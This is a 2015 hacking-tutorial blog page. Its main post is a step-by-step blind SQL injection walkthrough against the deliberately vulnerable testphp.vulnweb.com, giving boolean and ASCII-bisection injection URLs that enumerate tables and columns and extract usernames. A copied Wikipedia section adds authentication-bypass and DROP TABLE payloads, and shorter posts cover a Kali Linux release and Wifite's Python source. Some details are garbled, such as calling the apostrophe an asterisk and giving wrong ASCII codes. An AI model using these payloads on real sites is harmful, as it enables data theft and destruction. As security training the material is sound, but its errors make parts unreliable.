Thursday, February 19, 2015

Blind SQL Injection

Only proceed if you know SQL Injection basics. If not, read these posts first-

What we know so far

If you've read the above three tutorials, you know the basic theory of what SQL Injection is, you know how to carry it out using you web browser on a vulnerable website, and you know how to use SQLMap to automate some of the process.

Now, for revision's sake, what we did in the Manual SQL injection tutorial was-
  1. Found a potentially vulnerable website (http://testphp.vulnweb.com)
  2. Used the asterisk  ( ' ) to verify vulnerability.
  3. Found out the number of rows and columns by making some small changes to the URL (which eventually changes the query that is executed on the server)
  4. We then obtained names of tables, their columns, and finally extracted data.
However, it is worth noting that the website was intentionally left vulnerable, and most often the flaws in security aren't this obvious. In our case, the website was willingly responding to our queries with errors. This may not always be the case. As long as we can see the errors, we know we're going in the right direction. Errors tend to give us clues. However, some websites may choose to suppress the error messages. This make SQLi harder. This is known as Blind SQL Injection.



What I didn't tell you

I explained in subtle details what each and every step did. However, I did not explain the motive behind each step. (I gave a rough idea in the Sql injection basics post)
The purpose of the asterisk ( ' ) was to find out how the server handles bad inputs. If it has some mechanisms for sanitizing or escaping these dangerous characters, then we would not see any error in output.

Now this is not intended to be a theoretical post. While the SQL Injections basics post was for total beginners, I am linking a SQL Injection post appropriate for anyone who has carried out the classical SQL Injection attack, which we did in the manual SQL injection attack post, and is ready for blink SQL Injection.

Intermediate level sql injection (Wikipedia had great theory on SQLi, so I cropped the important bits for a hacker's point of view and posted it here)

SQL Injection example with explanation (This post isn't very useful for actual hacking, but explains concepts very well with examples. PS: This is an external link. Since their content is not licensed under creative commons, I couldn't simply crop the important part and put it here, so you have to go to their website)

PS: The posts in the beginning of the tutorial are mandatory, these are optional reads. You may choose to skip these and come back later and read whenever you're free. Now we'll get started.

Finding a suitable website 

We now have to find a website which is vulnerable to SQL Injection, but does not show error messages. Basically, a site which can be hacked into but not using classical attacks. The site will not give any obvious responses to our attacks. This is why it is called a blind SQL Injection. It is hard to know whether we're doing it right or not.

Now there's a problem. Blind SQLi is quite time consuming. One first tried the classical attacks, and if they fail, then only they proceed to blind SQLi. I can't find a website which wouldn't mind being attacked, and exposed in public. So I'll have to use the same old testphp.vulnweb.com website. The URL we're going to attack is vulnerable to classical SQLi. However, we're going to assume that it's not, and attack it without using any of the methods we used in the previous SQLi tutorial. That being said, blind SQLi involves a lot of guessing, and the fact that I can use union based sql injection (classical injection that we did already) to find out table names, etc. makes it much easier for me to write the tutorial. Now we'll begin-

Finding out if target is vulnerable

Our target in this attack is -
http://testphp.vulnweb.com/listproducts.php?cat=2
Now the first take is to find out whether the target is vulnerable or not. Ideally, one would add an asterisk to find whether the target is vulnerable to classical injection. If not, then only should he/she proceed to blind SQLi. In our case, the target is indeed vulnerable to classical injection (since we see an error when we append an asterisk ' to the url). But for the sake of learning, we will ignore this fact and proceed with Blind SQLi. We will from now assume that there will be no errors whatsoever to aid our attack.

Now we have a problem

If the site won't return any errors, how can we find out if it's vulnerable? The solution is a pretty elegant one. This attack is based on boolean algebra. It's pretty intuitive and surprisingly simple.

The basic concept is as simple as the following :-
(true and true ) = true
When we specify 1=2
(true and false) = false
Also,
1=1 is true
1=2 is false

Now look at the statements-
http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=1
http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=2
When we specify 1=1
Now the basic condition for determining whether the website is vulnerable to injection is to find out whether it executes the code we send it, or just ignores it. Earlier we used asterisk and the error suggested that our code was indeed processed. This time errors are not shown, so we use logic. In the first URL, the condition evaluates as true, and page is displayed as usual. Basically we're asking the table to show the page if it's 'category is 2' and '1 is the same as 1'. Both the conditions are fulfilled and page is shown. In the second case, 'category is 2' but '1 is not the same as 2', so the conditions simplify to false, and nothing is shown. What can we conclude? We conclude that the code we add to the URL is processed by the DBMS software (usually MySQL).


Finding other details

Now the process of finding out other details would be identical. We now know that if we type a true statement after and, then the page is displayed, else it's not. We can simply keep guessing stuff till we are right, in which case the condition is true, and page is displayed.

Finding version

Now it is very impractical to expect that we'll be easily able to guess the complete version, the pic will show you why (it's from the manual SQLi tutorial)
However, we don't need to know the exact version. Finding out whether it's MySQL version 4 or 5 is sufficient. For that, we can extract a substring from the version, which in this case, is simply the first character of the version. This can be done using substr(@@version,1,1). @@version returns the whole 5.1.6.9........ thing but 1,1 extracts the first character. We can then equate it with 4 or 5 to find out which version the website is using.
PS: I put this screenshot here to explain why we used substring, we didn't use the fact that we know the version of SQL already in any way. Even if you have no clue about the version (which is what is going to happen in real life scenario), you can find out the version by looking at the output of the following URLs. You can read more about Substring clause here.
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=4
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=5 

As you might have guessed, the version is 5 since it did not return a blank page. I hope you've started to see the pattern now.

Finding tables, columns and records

We will now have to guess the table names. The idea is to start with some common ones, and you'll most probably get a few tables. Most databases have a table for users, admin, login, employees,  etc. Now I'll demonstrate a few failures and successes and then we'll proceed. There is another alternate in which we can go character by character. There is a third method where we can use ASCII codes too.

Problem : Since the website does not display output, how do we find out the table names?
Solution : We can do what we've been doing so far, ask the website if table name = X , where X is our guess at table name. We will keep repeating until the condition returns true, i.e., the exists a table with the name that we guessed.

Problem : This is just a concept, how do we put it to action? How do we ask the database to return true if we guess the right table name? Can't be as simple as 1=1....
Solution :  We will use the select query. select 1 from X is going to be our query. If there is a table called X, then output will be one. Now we can use this output to generate a condition. (select 1 from X) = 1. If X table exists, then output will be 1. Since 1=1, condition will be true. If X does not exist, condition will be false.

Problem : What if we can't guess the table name?
Solution : We have 2 more alternatives. First is to use substr, as we did while finding version, to find out the table name character by character. Basically, we will ask the table if first character of table name is a. If not, we'll try b, c, d, etc. After that we'll proceed to second character. This way, we are guaranteed to find out the table name. (I hope you are getting a good idea why it's called blind SQLi)

Alternate Solution : We can use ASCII values to speed up the above solution. Basically, we can't directly compare characters like number. 6 is greater than 5, but b is not greater than a. Characters can't be compared like that. However, their ASCII forms can, since each alphabet corresponds to a number in ASCII. We can use this fact to ask the table if the first letter of the table name is more than P or less than it. This way, if the table says it's more, we don't have to check the alphabets before P, and Vice Versa. [This is just the concept, I'll demonstrate how it's to be done].

Now, for finding table name, I'll stick to simple guessing. The remaining 2 concepts will be demonstrated while finding column name and data value respectively.

Limit Clause : It must be noted that select query returns all the results from a given table, not just the first. For example, if a table has 500 records, and you ask the table for records where first table is 'a', it will return not one, but all the records with first letter 'a'. This is not what we want. To avoid this, we use limit clause.
Here is a short summary, read the complete section on Limit clause here.
Let’s see what the offset and count mean in the LIMIT clause:
  • The offset specifies the offset of the first row to return. The offset of the first row is 0, not 1.
  • The count specifies maximum number of rows to return.
I've covered all the concepts, now I hope you can read the commands and figure out what they mean.

Table name

Now we'll try to guess table name
http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from admin)=1
The error message will not be displayed in real blind SQLi. We will see a blank output, like we did earlier.

http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from users)=1 
The page loads fine. This means there is indeed a table named users.
Now, if you are trying this attack on some other site, then you might not be able to guess the name if it isn't as obvious as users. So I recommend you keep reading and try again once you know how to guess one letter at a time (for column name) and how to use ASCII (for obtaining data).
PS: Here limit is not required since we guessed the whole table name at once and not character by character.

Column Name

1. Guessing the whole name

Now, there are 2 ways to get column name. The first way is to guess the complete column name, as we did for table name. 
http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,username),1,1) from users limit 0,1)=1
http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1 
The page displays normally for uname, so we know that a column called uname exists. For practice, you can also replace uname with pass,cc,address,email,name,phone,cart1. All these columns also exist in the table.

2. Guessing character by character using equality (=)


The second way is to go character by character. There are 2 ways to do this too. One is to guess the character directly, second is to find the range in which the character lies, and then guess it. I'll show both. This method requires information_schema, i.e. it will work for MySQL 5 series but not 4.
Here I have directly used 117. You may (and in reality will have to) try all possible ascii codes (65 to 122 for A to z)
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117
 PS: I tried to see if MySQL automatically converts the character to their ASCII value, and found out that it does indeed. So one may skim the query a bit and finally it will be like. So basically, contrary to what I said earlier, b is indeed bigger than a. Here is the same code with u instead of 117

http://testphp.vulnweb.com/listproducts.php?cat=2%20and%20substring((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273+limit%200,1),1,1)='u' 
165 is ASCII code for u. We know the column name is uname, so the page should display fine, which it does. You can try values other than 85 and see what happens. Also, 7573657273 is hex code for users (0x indicates hex). Remember, you can do the same for tables by making a few changes. Firstly replaced the bold column in above code with table. A few more changes are necessary too. Here's what the final code looks like :-


3. Guessing character using > or < followed by =

It's almost the same as we did before
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 100
We now know it's >  100 (100 is 'd'), since the page displayed properly
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 120
But it is less than 120 ('x'), since page doesn't display well.
 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 110
Greater than 110 ('n')
 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 115
Greater than 115 ('s'). Now only 4 possibilities remain, 116, 117, 118, 119, 120 (it is greater than 116 but not greater than 120). We can now try all 5 one by one. I have also highlighted the ascii part in above queries. You can remove the bold text and replace the numbers with characters in single quotes ('a', 'b', etc., also provided in bold below the code)
Finally you'll get success at-
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117

However, we only know the first letter of the column name. To find the second letter, replace the red text from 1 to 2. The code becomes-
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 117
It will not display properly since the second character in uname is n. (ascii 110)
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 110
You can use the > < = method here too. Everything other than 2 will be the same.

Extracting data

Now while what you did so far wasn't very swift either, what you're going to do now is going to be terribly slow. You have to guess the data as well. Each and everything needs to be guessed. 

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>64
 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>100
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120
Page doesn't display properly for 120 (x)
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120
 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>115
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))=116
So the first letter is 't'. For second character (without ascii this time)
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'a' 
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'f'  
It lies between 'b' and 'f'
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'b'
 Keep trying
http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'e'
Second character is 'e'. You may proceed to do so until you find the complete uname. You can ensure that a character was the last in the word by using the following command.
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>0
 If there is any other character left, >0 will always return true.

This was all there is to blind SQL Injection. In the next post I'll introduce you to some tools which do the task for you. To be honest, no one will call you a noob if you use scripts/ tools to automate blind SQLi. It is a really time consuming process and it is not required to waste so much time when you can write a script to do all the guesswork for you.

Tuesday, February 17, 2015

SQL Injection Intermediate Level

This is a theoretical post about types of SQL Injection attacks and the concepts behind SQL Injection. I have added this here since so far we had been dealing with URLs, and will continue to do so. For the attacker, there is no direct way to write complete queries and he/she may only make changes to the URL or input form. However, the knowledge of MySQL (or any other DBMS) part of the attack is necessary, since it will be required when you deal with more robust websites where the standard attacks won't work and you need to get creative. Before reading this post, I recommend these 3:-



  • SQL Injection Basics (theoretical yet important)
  • Manual SQL Injection (using web browser only)
  • Automated SQL Injection using SQLMap (Kali Linux needed) 


  • Now we will proceed to the actual content of the post :-

    Types of SQL Injection attacks

    • SQL injection + insufficient authentication
    • SQL injection + DDoS attacks
    • SQL injection + DNS hijacking
    • SQL injection + XSS

    Technical implementations

    Incorrectly filtered escape characters

    This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application.
    The following line of code illustrates this vulnerability:
    statement = "SELECT * FROM users WHERE name ='" + userName + "';"
    This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as:
    ' or '1'='1
    or using comments to even block the rest of the query (there are three types of SQL comments). All three lines have a space at the end:
    ' or '1'='1' -- 
    ' or '1'='1' ({
    ' or '1'='1' /*

    renders one of the following SQL statements by the parent language:
    SELECT * FROM users WHERE name = '' OR '1'='1';
    SELECT * FROM users WHERE name = '' OR '1'='1' -- ';
    If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of '1'='1' is always true.
    The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "userinfo" table (in essence revealing the information of every user), using an API that allows multiple statements:
    a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't
    This input renders the final SQL statement as follows and specified:
    SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
    While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP's mysql_query() function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.

    Incorrect type handling

    This form of SQL injection occurs when a user-supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:
    statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"
    It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to
    1;DROP TABLE users
    will drop (delete) the "users" table from the database, since the SQL becomes:
    SELECT * FROM userinfo WHERE id=1;DROP TABLE users;

    Blind SQL injection

    Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

    Conditional responses

    One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen. As an example, a book review website uses a query string to determine which book review to display. So the URL http://books.example.com/showReview.php?ID=5 would cause the server to run the query
    SELECT * FROM bookreviews WHERE ID = 'Value(ID)';
    from which it would populate the review page with data from the review with ID 5, stored in the table bookreviews. The query happens completely on the server; the user does not know the names of the database, table, or fields, nor does the user know the query string. The user only sees that the above URL returns a book review. A hacker can load the URLs http://books.example.com/showReview.php?ID=5 OR 1=1 and http://books.example.com/showReview.php?ID=5 AND 1=2, which may result in queries
    SELECT * FROM bookreviews WHERE ID = '5' OR '1'='1';
    SELECT * FROM bookreviews WHERE ID = '5' AND '1'='2';
    respectively. If the original review loads with the "1=1" URL and a blank or error page is returned from the "1=2" URL, and the returned page has not been created to alert the user the input is invalid, or in other words, has been caught by an input test script, the site is likely vulnerable to a SQL injection attack as the query will likely have passed through successfully in both cases. The hacker may proceed with this query string designed to reveal the version number of MySQL running on the server:
    http://books.example.com/showReview.php?ID=5 AND substring(@@version,1,1)=4
    , which would show the book review on a server running MySQL 4 and a blank or error page otherwise. The hacker can continue to use code within query strings to glean more information from the server until another avenue of attack is discovered or his or her goals are achieved.

    Second Order SQL Injection

    Second order SQL injection occurs when submitted values contain malicious commands that are stored rather than executed immediately. In some cases, the application may correctly encode a SQL statement and store it as valid SQL. Then, another part of that application without controls to protect against SQL injection might execute that stored SQL statement. This attack requires more knowledge of how submitted values are later used. Automated web application security scanners would not easily detect this type of SQL injection and may need to be manually instructed where to check for evidence that it is being attempted.

    This post is licensed under Creative Commons Attribution-ShareAlike 3.0. This license permits sharing, but requires attribution and that the content be shared under same or similar license . The source of the content in this page is -
    https://en.wikipedia.org/wiki/SQL_injection
    License details can be read here https://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License

    Blind SQLi Tutorial

    You may read this tutorial if you have gone through the content of this page and are ready to go to the next level.

    Wednesday, February 11, 2015

    Kali Linux 1.1.0 Released

    On 9th February 2105, Kali 1.1.0 was released. This is the latest version so far, and has a lot of major changes. Here's what the official Kali website had to say about it. Kali 1.1.0 can be download from here.-




    After almost two years of public development (and another year behind the scenes), we are proud to announce our first point release of Kali Linux – version 1.1.0. This release brings with it a mix of unprecedented hardware support as well as rock solid stability. For us, this is a real milestone as this release epitomizes the benefits of our move from BackTrack to Kali Linux over two years ago. As we look at a now mature Kali, we see a versatile, flexible Linux distribution, rich with useful security and penetration testing related features, running on all sorts of weird and wonderful ARM hardware. But enough talk, here are the goods:
    • The new release runs a 3.18 kernel, patched for wireless injection attacks.
    • Our ISO build systems are now running off live-build 4.x.
    • Improved wireless driver support, due to both kernel and firmware upgrades.
    • NVIDIA Optimus hardware support.
    • Updated virtualbox-tool, openvm-tools and vmware-tools packages and instructions.
    • A whole bunch of fixes and updates from our bug-tracker changelog.
    • And most importantly, we changed grub screens and wallpapers!

    DownloadorUpgradeKaliLinux1.1.0

    You can download the new version from our Kali Linux Download page, where you’ll also find mini-installer ISOS for both 32 and 64 bit CPU architectures. You can expect updated VMWare and multiple ARM image releases to be posted in the Offensive Security custom Kali Linux image download page in the next few days. As usual, if you’ve already got Kali Linux installed and running, there’s no need to re-download the image as you can simply update your existing operating system using simple aptcommands:
    apt-get update
    apt-get dist-upgrade

    Wednesday, August 13, 2014

    Reading Wifite Source : Coding Hacking Tools In Python



    Today I have a series of tasks for those who want to go a step further and write tools and scripts for others. In this tutorial we will take a look at the source code of Wifite and examine it to see how we can also create our own tools. There are various programming/scripting languages that can be used to accomplish the tasks. Wifite uses python, and that's what we'll start with.



    Tasks

    1. Get some basic idea about Python - Take a look here - http://www.codecademy.com/en/tracks/python
    2. Get an idea about GNU General Public License - A good resource here or just take a look at wifite's license terms (optional step but if you're using Linux then it's important to know that the foundation of Linux is on concept of open source software and GNU GPL.
    3. Get a general idea about linux scripting. Use google for that. A comprehensive guide can be found here.
    4. Finally, take a look at the source code of Wifite (it's worth noting that the source code is available openly on because of the fact the it has GNU general public license). 
    It's important that you follow the first three steps. The tutorial is about the codes which are important for any hacking tool. I don't cover everything. After reading this tutorial you'll know about the mandatory sections in any hacking tool. If you leave the first three steps (the 4th step is covered by me in this tutorial), then  you won't be able to code your hacking tool.



    The wifite code

    Now, a few thing which you will observe about Wifite-
    1. It is written in Python.
    2. It is licensed under the GNU General Public License Version 2 (GNU GPL v2).
    3. It is written by Derv Merkler.
    4. The source is quite well documented and easy to read.
    Now lets take a look at the source in parts


    #!/usr/bin/python

    The #! is always going to be the first two letters of any script in linux. It tells linux to treat the code that follows as executable. The next words tell what the scripting language is, for example-
    #!/usr/bin/php    for php
    #!/usr/bin/perl    for perl
    #!/usr/bin/python    for python
    #!/bin/bash             for bash scripting
    This part is called a shebang.





    # -*- coding: utf-8 -*-

    This is specific to python. Python recommends that we define the encoding that we'll be using. Take a look here if you need to know more about this - http://legacy.python.org/dev/peps/pep-0263/


    General information

    A lot of general information and to-do stuff has been written inside a comment. Take a read if you like.

    After that there's a list of libraries that were imported. (Quite similar to other languages)
    Then all the global variables have been declared. To enhance readability, all the global variables are CAPITAL.

    Conditions

    At a lot of places conditional statements are used to ensure correct functionality and also that all requirements are met before starting
    if os.getuid() != 0:
            print R+' [!]'+O+' ERROR:'+G+' wifite'+O+' must be run as '+R+'root'+W
            print R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo ./wifite.py'+W
            exit(1)

    if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
            print O+' [!]'+R+' WARNING:'+G+' wifite'+W+' must be run on '+O+'linux'+W
            exit(1)
    The getuid returns the privilege. If it's not root (0), then wifite returns error and exits. The OS has to be linux.

    This code ensures that the output of all the tools doesn't get printed to the wifite screen.

    # Create temporary directory to work in
    from tempfile import mkdtemp
    temp = mkdtemp(prefix='wifite')
    if not temp.endswith(os.sep):
            temp += os.sep

    # /dev/null, send output from programs so they don't print to screen.
    DN = open(os.devnull, 'w')


    This is followed by 

    ###################
    # DATA STRUCTURES #
    ###################

    class CapFile:
            """
                    Holds data about an access point's .cap file, including AP's ESSID & BSSID.
            """
            def __init__(self, filename, ssid, bssid):
                    self.filename = filename
                    self.ssid = ssid
                    self.bssid = bssid

    class Target:
            """
                    Holds data for a Target (aka Access Point aka Router)
            """
            def __init__(self, bssid, power, data, channel, encryption, ssid):
                    self.bssid = bssid
                    self.power = power
                    self.data  = data
                    self.channel = channel
                    self.encryption = encryption
                    self.ssid = ssid
                    self.wps = False # Default to non-WPS-enabled router.
                    self.key = ''

    class Client:
            """
                    Holds data for a Client (device connected to Access Point/Router)
            """
            def __init__(self, bssid, station, power):
                    self.bssid   = bssid
                    self.station = station
                    self.power   = power


    The purpose of the classes is already stated by the author in comments (green).
    ##################
    # MAIN FUNCTIONS #
    ##################

    def main():
            """
                    Where the magic happens.
            """

    We will have to skim through a lot of code here. Can't cover everything. Some of the code that's easy to understand is shown and explained here.

    Checking for the required tools

    Wifite does not work independently and uses a lot of tools. For this, the following code is used which checks whether the required programs are installed. It uses conditional statements (if) and looping (for loop). If a program is not found, a prompt is crated. All the aircrack-ng suite tools are clubbed together in one condition, then there's a conditional statement for reaver. If aircrack-ng is not found, the program exits. However, Reaver's absence results in disabling of WPS attack mode only. Then there's code for checking the presense of Pyrit, Cowpatty and tshark. They are optional.

    def initial_check():
            """
                    Ensures required programs are installed.
            """
            global WPS_DISABLE
            airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
            for air in airs:
                    if program_exists(air): continue
                    print R+' [!]'+O+' required program not found: %s' % (R+air+W)
                    print R+' [!]'+O+' this program is bundled with the aircrack-ng suite:'+W
                    print R+' [!]'+O+'        '+C+'http://www.aircrack-ng.org/'+W
                    print R+' [!]'+O+' or: '+W+'sudo apt-get install aircrack-ng\n'+W
                    exit_gracefully(1)
           
            if not program_exists('iw'):
                    print R+' [!]'+O+' airmon-ng requires the program %s\n' % (R+'iw'+W)
                    exit_gracefully(1)
           
            printed = False
            # Check reaver
            if not program_exists('reaver'):
                    printed = True
                    print R+' [!]'+O+' the program '+R+'reaver'+O+' is required for WPS attacks'+W
                    print R+'    '+O+'   available at '+C+'http://code.google.com/p/reaver-wps'+W
                    WPS_DISABLE = True
            elif not program_exists('walsh') and not program_exists('wash'):
                    printed = True
                    print R+' [!]'+O+' reaver\'s scanning tool '+R+'walsh'+O+' (or '+R+'wash'+O+') was not found'+W
                    print R+' [!]'+O+' please re-install reaver or install walsh/wash separately'+W

            # Check handshake-checking apps
            recs = ['tshark', 'pyrit', 'cowpatty']
            for rec in recs:
                    if program_exists(rec): continue
                    printed = True
                    print R+' [!]'+O+' the program %s is not required, but is recommended%s' % (R+rec+O, W)
            if printed: print ''    

    Exiting when ctrl+c is pressed

            except KeyboardInterrupt:
                    print '\n '+R+'(^C)'+O+' interrupted\n'
                    exit_gracefully(0)
    Also, it is necessary to define the exit_gracefully function at a later stage-

    def exit_gracefully(code=0):
            """
                    We may exit the program at any time.
                    We want to remove the temp folder and any files contained within it.
                    Removes the temp files/folder and exists with error code "code".
            """
            # Remove temp files and folder
            if os.path.exists(temp):
                    for file in os.listdir(temp):
                            os.remove(temp + file)
                    os.rmdir(temp)
            # Disable monitor mode if enabled by us
            disable_monitor_mode()
            # Change MAC address back if spoofed
            mac_change_back()
            print GR+" [+]"+W+" quitting" # wifite will now exit"
            print ''
            # GTFO
            exit(code)

    This code makes the program exit properly (i.e. clean every file it created and changes it made, and disable monitor mode) when ctrl+c is pressed. Take a look at the following resources for information about except here-

    Conclusion


    We now know the basics that we need. It's quite impractical to explain the whole code here. The important part is knowing that the code does the following things-
    1. Starts with the shebang
    2. (Optional) Specify the encoding
    3. Add some comments about the author and licensing stuff
    4. Add important conditions, i.e., whether or not root privileges are available (unless they aren't required to execute your code), and whether the code is executed on a linux environment.
    5. Also check that the programs used by your script are installed in the OS.
    6. Define the required classes to organize data and functioning.
    7. Ensure that your programs exits properly when ctrl+c is pressed.
    8. Do the main coding (depends on what you are making).
    It might be worth noting here that we just covered some basics here, which would be common to most tools. With this knowledge you can easily code your own tools.